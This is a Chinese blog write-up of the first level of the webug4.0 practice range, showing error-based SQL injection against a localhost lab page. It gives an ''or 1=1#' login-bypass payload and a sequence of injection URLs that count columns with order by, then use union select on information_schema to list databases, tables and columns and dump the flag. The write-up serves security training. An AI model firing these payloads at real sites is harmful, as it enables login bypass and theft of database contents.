webug4.0显错注入-1

所用到一些知识:

1. concat(str1,str2,...)    返回结果为参数间无间隔符连接起来的字符串,如果其中有一个参数为NULL,返回结果为NULL

2. concat_ws(separator, str1, str2, ...)    含有分隔符地连接字符串,第一个参数为制定的分隔符

3. group_concat(str1,str2,...)   连接一个组的所有字符串,并以逗号分隔每一条数据

4.union 用于合并两个或多个select语句的结果集,需要注意的是union内部的select须拥有相同数量的列,且列的数据类型也要相同。

5.逻辑顺序 true and false or true    结果为true   这样可以构造万能密码 

Select * from admin where username=’admin’ and password=’’or 1=1#’

6. 注释掉后面内容时可用 --+ 或者 # 后者在浏览器中会进行url编码为%23

7.注入的一般流程为:输入点-->数据库-->数据表-->数据列-->数据项 

 

好了进入正题,加单引号看看

http://localhost/control/sqlinject/manifest_error.php?id=1'

                    然后报错了

 

 构造语句 ‘ or 1=1%23

http://localhost/control/sqlinject/manifest_error.php?id=1' or 1=1%23

 

然后页面恢复正常,利用order by判断字段个数

http://localhost/control/sqlinject/manifest_error.php?id=1' order by 1%23

 从1开始尝试,发现到3时页面报错,因此判断字段个数为2个,接下来查看数据库的名字

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,group_concat(schema_name) from information_schema.schemata%23

然后页面显示出来了数据库

我们查看webug这个数据库

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23

发现有flag这个表(是的表面上是,等到第二关你会哭泣的),那就看看这个表里东西

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23

发现表里就2个: id flag  查看一下flag内容

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,flag from webug.flag %23

出来了:dfafdasfafdsadfa 

打开靶场提交flag,显示flag正确

 

posted @ 2019-03-14 19:18  你认识小哀吗  阅读(2333)  评论(0编辑  收藏  举报